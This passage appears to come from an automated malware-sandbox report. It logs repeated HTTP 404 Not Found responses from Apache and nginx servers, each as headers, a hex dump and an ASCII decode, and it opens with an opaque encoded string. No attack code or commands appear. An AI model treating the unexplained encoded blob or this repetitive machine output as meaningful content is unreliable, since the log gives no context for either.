PDnL0H4=WzjBsma+Nkehqo5vfK88GcyFP+88gloVkwzRr818XY95sfASLIESCOOyF3eAcorbASA6CPQCCbC53CY+JubsD+nIRwuMHO0FP0kiBR9GHxnVZySYyHCDgeH7gV7Z4mCey7QAvvetphoxwm+ZjgfDr2yL+d2wYp3PkPL0lCC4oejV21VOnPFGQ8c5kJi8jdvsESrwAEO9/ftlwWe83w==
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 02 Oct 2024 13:17:02 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 02 Oct 2024 13:17:04 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 02 Oct 2024 13:17:07 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 02 Oct 2024 13:17:09 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 02 Oct 2024 13:17:16 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 02 Oct 2024 13:17:18 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 02 Oct 2024 13:17:21 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 02 Oct 2024 13:17:23 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 02 Oct 2024 13:17:29 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 389X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 02 Oct 2024 13:17:32 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 389X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 02 Oct 2024 13:17:34 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 389X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 02 Oct 2024 13:17:37 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 389X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 